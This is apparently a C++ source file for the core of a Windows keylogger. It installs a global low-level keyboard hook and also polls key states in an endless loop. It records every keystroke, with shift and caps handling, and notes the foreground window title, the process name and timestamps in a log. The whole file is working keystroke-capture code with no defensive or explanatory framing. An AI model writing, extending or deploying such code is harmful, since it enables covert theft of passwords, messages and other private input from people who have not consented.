#include "KeyboardHook.h"
#include <ctime>
#include <Psapi.h>

// Static member initialization
KeyboardHook* KeyboardHook::sm_objPointer = NULL;

KeyboardHook::KeyboardHook(Logger* i_pLogger) : m_pLogger(i_pLogger)
{
	sm_objPointer = this;
	m_foregroundWnd = NULL;
	m_lastTime = 0;
}

bool KeyboardHook::logicalXOR(bool p, bool q) const
{
	/* since there is no operator for logical xor in c++
	   it must be written in once of the equivelant forms */
	return ((p || q) && !(p && q));
}

void KeyboardHook::hookIt(void)
{
	// Retrieve the applications instance
	HINSTANCE appInstance = GetModuleHandle(NULL);

	// Set a global Windows Hook to capture keystrokes. Callback to static wrapper for non-static function
	HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHook::LowLevelKeyboardProcWrapper, appInstance, 0);

	if (hook == NULL)
	{
		m_pLogger->log(TEXT("SetWindowsHookEx failed!\n"));
		return;
	}

	// Log session start time
	time_t ltime;
	ltime = time(NULL);
	m_pLogger->log(TEXT("\n\n------------------------------------------------------------------------"));
	m_pLogger->log(TEXT("\n\t\t\tSession Start\t"));
	tm timeStruct;
	if (localtime_s(&timeStruct, &ltime) == 0)
	{
		_tasctime_s(m_textBuffer, &timeStruct);
		m_pLogger->log(m_textBuffer); // Add timestamp to data log
	}
	m_pLogger->log(TEXT("------------------------------------------------------------------------\n"));

	// Message loop
	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0) > 0)
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	// Log session end
	m_pLogger->log(TEXT("\n\t\t\tSesson Stop\n"));
}

void KeyboardHook::endlessQuery()
{
	SHORT state;
	SHORT lastKbState[256] = { 0 };
	BYTE kbState[256] = { 0 };

	while (true)
	{
		if (GetKeyboardState(kbState) == 0)
			m_pLogger->log(TEXT("\nGetKeyboardState failed!\n"));
		else
		{
			for (int i = 0; i < 256; i++)
			{
				state = GetAsyncKeyState(i);

				if (state != lastKbState[i] && state & 0x8000)
				{
					int length = ToUnicode(i, 0, kbState, m_textBuffer, BUFFER_SIZE, 0);
					if (length < 0)
						length = 0;
					m_textBuffer[length] = 0;

					m_pLogger->log(m_textBuffer);

					lastKbState[i] = state;
				}
			}

			Sleep(1);
		}
	}
}

void KeyboardHook::logTitleAndTime()
{
	// Foreground window
	const HWND hwndForeground = GetForegroundWindow();
	bool newWindow = false;

	if (hwndForeground != m_foregroundWnd)
	{
		m_foregroundWnd = hwndForeground;
		if (GetWindowText(hwndForeground, m_textBuffer, BUFFER_SIZE) == 0)
			_tcscpy_s(m_textBuffer, TEXT("Unknown window title"));

		// Process
		TCHAR filename[MAX_PATH] = { 0 };
		DWORD procId;
		GetWindowThreadProcessId(hwndForeground, &procId);

		if (const HANDLE procHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, procId))
		{
			GetProcessImageFileName(procHandle, filename, MAX_PATH);
			CloseHandle(procHandle);
		}

		_stprintf_s(m_textBuffer2, TEXT("\n\n->Foreground window: %s [%s]\n"),
			m_textBuffer, filename);
		m_pLogger->log(m_textBuffer2);

		newWindow = true;
	}

	// Time
	const time_t curTime = time(NULL);
	if (newWindow || curTime > m_lastTime + 5)
	{
		if (!newWindow)
			m_pLogger->log(TEXT("\n\n->"));

		tm timeStruct;
		if (localtime_s(&timeStruct, &curTime) == 0)
		{
			_tasctime_s(m_textBuffer, BUFFER_SIZE, &timeStruct);
			m_pLogger->log(m_textBuffer); // Add timestamp to data log
		}
	}
	m_lastTime = curTime;
}

LRESULT CALLBACK KeyboardHook::LowLevelKeyboardProcWrapper(int nCode, WPARAM wParam, LPARAM lParam)
{
	return sm_objPointer->LowLevelKeyboardProc(nCode, wParam, lParam);
}

LRESULT CALLBACK KeyboardHook::LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
	switch (wParam)
	{
	case WM_KEYDOWN: // When the key has been pressed. Changed from WM_KEYUP to catch multiple strokes.
	{
		// Declare pointer to the KBDLLHOOKSTRUCT
		KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;

		logTitleAndTime();

		const bool caps = GetKeyState(VK_CAPITAL) & 0x0001;
		const bool shift = (GetAsyncKeyState(VK_SHIFT) & 0x8000) == 0x8000;
		const bool capital = logicalXOR(caps, shift);

		DWORD dwMsg = 0;
		dwMsg += pKeyBoard->scanCode << 16;
		dwMsg += pKeyBoard->flags << 24;

		const int length = GetKeyNameText(dwMsg, m_textBuffer, BUFFER_SIZE);
		// failed
		if (length == 0)
			m_textBuffer[0] = 0;
		// Special key
		else if (length > 1)
		{
			_stprintf_s(m_textBuffer2, TEXT("[%s]\n"), m_textBuffer);
			m_pLogger->log(m_textBuffer2);
		}
		// normal key
		else
		{
			// uncapitalize
			if (!capital && m_textBuffer[0] > 64 && m_textBuffer[0] < 91)
				m_textBuffer[0] += 32;
			else if (capital)
			{
				BYTE kbState[256];
				if (GetKeyboardState(kbState) == 0)
					m_pLogger->log(TEXT("\nGetKeyboardState failed!\n"));
				else
				{
					int lengthUc = ToUnicode(pKeyBoard->vkCode, pKeyBoard->scanCode, kbState, m_textBuffer, BUFFER_SIZE, 0);
					if (lengthUc < 0)
						lengthUc = 0;
					m_textBuffer[lengthUc] = 0;
				}
			}

			m_pLogger->log(m_textBuffer);
		}
	}
	default:
		return CallNextHookEx(NULL, nCode, wParam, lParam);
	}

	return 0;
}
